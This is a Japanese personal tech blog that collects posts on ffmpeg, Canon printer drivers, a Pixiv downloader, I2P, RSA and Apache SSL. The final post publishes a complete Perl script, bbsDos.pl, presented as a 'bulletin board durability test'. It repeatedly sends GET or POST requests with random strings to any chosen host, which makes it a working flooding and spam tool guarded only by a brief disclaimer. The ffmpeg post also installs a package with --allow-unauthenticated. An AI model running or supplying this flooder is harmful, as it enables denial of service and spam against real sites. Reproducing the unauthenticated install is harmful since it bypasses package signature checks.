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Ubuntu11.10でffmpegのlibfaacを使う Unknown encoder ‘libfaac’

調べたところライセンスが関係して機能を削っているようですね。

使えるようにするにはソースからビルドする時にオプションを追加する方法等あるようですがすごくめんどくさい・・・・

そんな訳で、他の方法を探してみました。

非公式リポジトリのMedibuntuには予めオプションを追加してビルドしたパッケージが用意されているようなのでそれを利用したいと思う。

リポジトリの追加

$ sudo wget http://www.medibuntu.org/sources.list.d/`lsb_release -cs`.list –output-document=/etc/apt/sources.list.d/medibuntu.list && sudo apt-get -q update && sudo apt-get –yes -q –allow-unauthenticated install medibuntu-keyring && sudo apt-get -q update

ffmpegを再インストール
$ sudo apt-get -reinstall install ffmpeg libavcodec-extra-53

※ Ubuntu11.10のffmpegはlibavcodec-extra-52ではなくlibavcodec-extra-53のようなのでこちらを指定する。

これで、Unknown encoder ‘libfaac’が出なくなると思う。

Ubuntu11.10でLPB6200がうまく動作しない 対策

このページはcups等基本的なパッケージを既にインストールしてあることを前提に話をすすめる。

メーカーサイトのドライバCAPT Printer Driver for Linux Ver2.40 (32bit)

ダウンロードし展開したらインストール
$ sudo dpkg -i cndrvcups-common_2.40-1_i386.deb
$ sudo dpkg -i cndrvcups-capt_2.40-1_i386.deb

これで普通にプリンタを設定から追加して使えると思っていたが認識はするが、印刷を行なってもジョブが溜るだけで正常に印刷されないという問題が発生した。

ログを見ても中々解決策は見当たらず、途方に暮れていたところ、ロシアのサイトCanon LBP-6000 в Ubuntu 11.10に対策が書かれていたのでそれを元に対策したら正常に動作するようになった。

/etc/rc.localの中のexit 0の間にプリンタを再認識させる設定を記述する

$ sudo vi /etc/rc.local
sudo modprobe usblp
ls -l /dev/usb/lp0
sudo /etc/init.d/ccpd restart

その後再起動
$ sudo reboot
上記のプリンタを再認識させるコマンドを直接叩いてもここで再起動を一度行わないと正常に動作しないようだ

どうもCAPT Printer Driver自体に不具合があるようですね。
あと、余談ですがこれのソースコードからのビルドはやめたほうがいいです。原因不明ですがGTK関係でこけます。

その他、参考になりそうなサイト(画像付きロシア語)
Canon LBP6000 В Ubuntu 11.10

ぴくぴくダウンローダ for Java(仮) beta版 公開

今まで設定ファイルを手書きで編集しておりましたが、全てGUIで簡単に設定できるようになりました。
GUIでの利用も設定も全ての機能をWindowsでもMacでもLinuxでも利用する事が可能です。

下記の動作環境さえ満たしていればWindows以外のOSでもダブルクリックで起動し動きます。

新アイコン

推奨環境:Core2Duo以降のデュアルコアCPU搭載のパソコン
動作環境:Windows MacOSX Linux でJavaが動作する環境

今回のバージョンアップで一応、予定していた大きな機能はすべての機能を実装しました。

使い方
圧縮ファイルをダウンロードして、適当な場所で展開してください。

実行方法
それぞれの環境の実行形式にあったファイルを実行してください。

設定方法
ウインドウにある”基本設定”をクリックし、必要な項目を全て記述して”適用”をクリックしてください。
※ 設定内容は設定ファイル(pget.conf)に平文で保存されます。設定ファイルの取り扱いは十分にご注意ください。

ユーザIDとは下記のURLの○の数字の部分です。(アルファベットや名前ではありません)
http://www.pixiv.net/member_illust.php?id=○○○○○○○○

Windowsでの動作イメージ

MacOSXでの動作イメージ

Linuxでの動作イメージ

ダウンロード
こちらのダウンロードページよりダウンロードをお願い致します。

プログラムの利用に関して
ライセンスは現在検討中です。おそらくオープンソース化すると思いますが、現段階では逆コンパイル、改造、再配布は禁止させて頂きます。なお、ソフト自体ウエイトを固定するなど多くの負荷対策を行なっておりますがPixivのサイトに負荷を掛けないよう常識の範囲での利用をお願い致します。あと、サイト・雑誌での紹介大歓迎です。

ぴくぴくダウンローダ Ver β C01.01 Windows UNIX (MacOSX Linux) 対応

ぴくぴくダウンローダ Ver β 03.03でのバグを一部修正しました。

更新内容
cielavenir様のPixivの仕様変更対応バージョンを元に改良
ブックマーク数の指定に再対応しました

当ソフトの特徴
・ブラウザでリンクを開かなくても自動で条件(タグ検索、ブックマーク数、絵師さんのID)を指定することで画像を収集します。

・最初HTMLファイルのみを取得し作品へのリンクを解析するためダウンロードする画像(Pixivへのアクセス)は最小限です。低負荷です。

・一度ダウンロードした作品はコミックはフォルダ分けされ管理されます。指定されたフォルダにある画像は多重ダウンロードを行いません。

・バッチファイル等にコマンドを記述し指定した時間に実行させることも可能です。(絵師さんの新しい作品を定期的に収集し同期します。)

Download
こちらのダウンロードページよりダウンロードをお願い致します。

動作例)
Windows 7 (検索ワード,ミク ブックマーク数,5以上)

MacOSX 10.6 (検索ワード,ミク)

Ubuntu 11.04にI2P(匿名ネットワーク)をapt-getで手軽にインストールしてみる

マイナーすぎて海外のサイトでもjava -jar i2pinstall.exeなんてLinuxで動かしてるのを見たら目眩がしたのでしっかりapt-getでインストールしてみました。

公式サイト
http://www.i2p2.de/debian.html#ubuntu

# レポジトリを追加してI2Pをインストール
$ sudo apt-add-repository ppa:i2p-maintainers/i2p
$ sudo apt-get update
$ sudo apt-get install i2p

# いれていない人はインストール(テキストエディタとLinuxの起動時に特定のソフトを起動させるソフト)
$ sudo apt-get install vim chkconfig

デーモンとして起動させる設定
$ sudo vim /etc/default/i2p

# I2P daemon. If set to true, i2p will start automatically when
# the computer boots
#RUN_DAEMON=”false” ← コメントアウトして下記を追加
RUN_DAEMON=”true”

I2P起動
$ sudo service i2p start
http://localhost:7657/  I2Pルーター(管理画面)
localhost:4444      ProxyServer

再起動時に自動起動
$ sudo chkconfig i2p on

ぴくぴくダウンローダ Ver β 03.03 Windows UNIX (MacOSX Linux) 対応

ぴくぴくダウンローダ Ver β 03.03でのバグを一部修正しました。

更新内容
絵師さんのID指定時に次のページに移動しない事があるようなので修正しました。
(Pixivの仕様が変わったため?不明です)

当ソフトの特徴
・ブラウザでリンクを開かなくても自動で条件(タグ検索、ブックマーク数、絵師さんのID)を指定することで画像を収集します。

・最初HTMLファイルのみを取得し作品へのリンクを解析するためダウンロードする画像(Pixivへのアクセス)は最小限です。低負荷です。

・一度ダウンロードした作品はコミックはフォルダ分けされ管理されます。指定されたフォルダにある画像は多重ダウンロードを行いません。

・バッチファイル等にコマンドを記述し指定した時間に実行させることも可能です。(絵師さんの新しい作品を定期的に収集し同期します。)

Download
こちらのダウンロードページよりダウンロードをお願い致します。

動作例)
Windows 7 (検索ワード,ミク ブックマーク数,5以上)

MacOSX 10.6 (検索ワード,ミク)

ぴくぴくダウンローダ Ver β 03.02 Windows UNIX (MacOSX Linux) 対応

ぴくぴくダウンローダ Ver β 03.01でのバグを一部修正しました。

更新内容
前回のアップデートで設定ファイルをUNIXを意識しUTF-8Nに変更していましたがShift-JISに修正いたしました。
(メモ帳がUTF-8NをUTF-8に書き換えてしまい設定ファイルが読み込まれなくなる問題が起きたため修正)

Download
こちらのダウンロードページよりダウンロードをお願い致します。

動作例)
Windows 7 (検索ワード,ミク ブックマーク数,5以上)

MacOSX 10.6 (検索ワード,ミク)

UFT-8はフラグを付けたりとったりただでさえ面倒だと思ってたらBOMの問題も出てきましたよ。。。
やっぱりつくづくめんどくさい文字コードですorz

RSA暗号化について

暗号化の方法がとても気になったので調べてみました。
※特に可逆暗号化と公開鍵暗号についてです。

RSAの式(暗号化)
C = M^e (mod n)

調べてみたら呆気にとられるくらい簡単で単純です。

^(キャロット)は累乗という意味です。
modは除算した時に発生する余りを意味します。
Cが暗号化された文章を意味します。
Mは平文を意味します。
要するにCは平文Mをe乗してnで割った余りであると言うことになります。

今日は徹夜明けなので頭がボーっとしてまともに物事を考えられないので近いうちに
暗号化と複合化するプログラムを書いて見ます。

参考元:はやわかり RSA
参考元:ASCIIコードと文字の相互変換

VirtualHostでSSL接続

非常に困りました^^;
彼の野原 – FrontPage様よりワイルドカードを使った証明書を作成しました。

ですが、/etc/apache2/conf.d/ssl.confになんて記述してよいのか分からない(汗
エラーが起きてしまいます。

結局NameVirtualHost *:443を記述していないと言うことに気づくのに1時間ほどかかってしまいました^^;

追記した内容

NameVirtualHost *:443

<virtualHost *:443>
SSLEngine on
ServerName mail.orsx.net
DocumentRoot /var/www/html/webmail/
## certificate file path below
SSLCertificateFile /usr/share/ssl/certs/server.pem
SSLCertificateKeyFile /usr/share/ssl/certs/server.key
<directory /var/www/html/webmail/>
AllowOverride None
Options ExecCGI
Order allow,deny
Allow from all
</directory>
CustomLog /var/log/apache2/ssl_request_log 
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x "%r" %b"
</virtualHost>

掲示板耐久性テスト プログラム Ver.2.0

 今朝投稿した掲示板耐久性テスト プログラムをもう一度改良しました。改良点はGETでデータを送信していたのをPOSTでも送信可能にしました。もう少し短くできそうなものなんですがね。。。。。。

Get the Flash Player to see this content.

#!/usr/bin/perl
#################################################
#ソフト名:掲示板耐久性テストプログラム
#バージョン:Ver.2.0
#ファイル名:bbsDos.pl
#作者:ORBIT
#作者HP:https://www.orsx.net/
#※悪戯の目的で使用しないでください。
#################################################

#IO::Socketモジュールを使用する
use IO::Socket;
#Socketモジュールを使用する
use Socket;

#アクセス先ホストの指定
while($host eq ""){
print "X"x"50"."n";
print "URL(ホスト名)を入力してくださいn";
print "> http://";
$host = <stdin>;
chomp $host;
if($host eq "quit"){exit;}
}

#ポートを指定するかユーザーへ質問する
print "X"x"50"."n";
print "ポート番号を指定しますか?[y/n]";
$q_port = <stdin>;
print "指定しない場合は80番ポートへアクセスしますn";
chomp $q_port;

#yが入力されたらポート番号が入力されるまで待機
if ($q_port eq "y"){
print "X"x"50"."n";
print "ポートを指定しますn";
print "> ";
$port = <stdin>;
chomp $port;
}else{
$port = "80";
}

#乱数を追記させるかを確認
print "X"x"50"."n";
print "送信するデータに乱数を追加しますか?[y/n]";
$r = <stdin>;
chomp $r;

#乱数を追記させるかを確認
if($r eq "y"){
print "X"x"50"."n";
print "乱数の文字数を指定してくださいn";
print "> ";
$rr = <stdin>;
chomp $rr;
$rr = "1" if($rr eq "");
}

#送信方法を確認
print "X"x"50"."n";
print "(GET/POST)どちらを利用しますか?[g/p]";
$net = <stdin>;
chomp $net;
if($net eq "p"){&post_set;}
if($net eq "g"){&get_set;}

#送信回数
print "X"x"50"."n";
print "ループさせる回数を指定してくださいn";
print "> ";
$loop = <stdin>;
chomp $loop;
if($loop eq "" || $loop eq "1"){
$loop = "2";
$ex = "1";
}
if($loop == "0"){
print "Error:0回のループは指定出来ません!n";
exit;
}
$loop-="1";

#スリープの設定
print "X"x"50"."n";
print "指定秒ウェイトを設定する場合は入力してくださいn";
print "> ";
$slp = <stdin>;
chomp $slp;

#指定させた数字になるまでループ
while($ex <= $loop){
#送信数のインクリメント
print "X"x"50"."n";
$exd = $exd+"1";
print "$exd回目n";

#割合
if($loop ne ""){
$sa = int(($ex/$loop)*"100");
print "進行状況:&#91;$sa%/100%&#93;を完了しましたn";
$ex +="1";
}

#送信サブルーチン呼び出し
if($net eq "p"){&post;}
if($net eq "g"){&get;}

#スリープ
print "$slp秒スリープしますn" if($slp ne "");
sleep $slp;
}

print "終了しましたn";

#------------------------------------------------
#サブルーチン
#------------------------------------------------

#----------------------------
#GET
#----------------------------
sub get_set{
#ファイルの場所の指定
print "X"x"50"."n";
print "URL(ファイルの場所と送信データ)を入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> http://$host/";
$bbs = <stdin>;
chomp $bbs;
$bbs = "/".$bbs;
}

sub get{
#乱数格納
$bbs2=$bbs;
if ($r eq "y"){
my @alph = ("a".."z");
my $result = "";
foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
$bbs2.=$result;
}
#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$bbs2n";
#ホストへ接続を試みる
$socket = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "$port",
                                 Proto => "tcp",
                                );
#送信
print $socket "GET $bbs2 HTTP/1.0nn";
close($socket);
}

#-----------------------------
#POST
#-----------------------------
sub post_set{
#ファイルまでのパスを指定
print "X"x"50"."n";
print "ファイルまでのパスを指定してくださいn";
print "> http://$host/";
$path = <stdin>;
chomp $path;

#送信データの確認
print "X"x"50"."n";
print "送信するデータを入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> ";
$data = <stdin>;
}

sub post{
$data2=$data;
if ($r eq "y"){
my @alph = ("a".."z");
my $result = "";
foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
$data2.=$result;
}

#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$data2n";

#ホストへ接続を試みる
socket(SOCKET, PF_INET, SOCK_STREAM, 0);
connect(SOCKET, pack_sockaddr_in($port, inet_aton($host)));
select(SOCKET); $|=1; select(STDOUT);

#送信
print SOCKET "POST /$path HTTP/1.0rn";
print SOCKET "Content-Length: ".length($data2)."rn";
print SOCKET "rn";
print SOCKET $data2;
}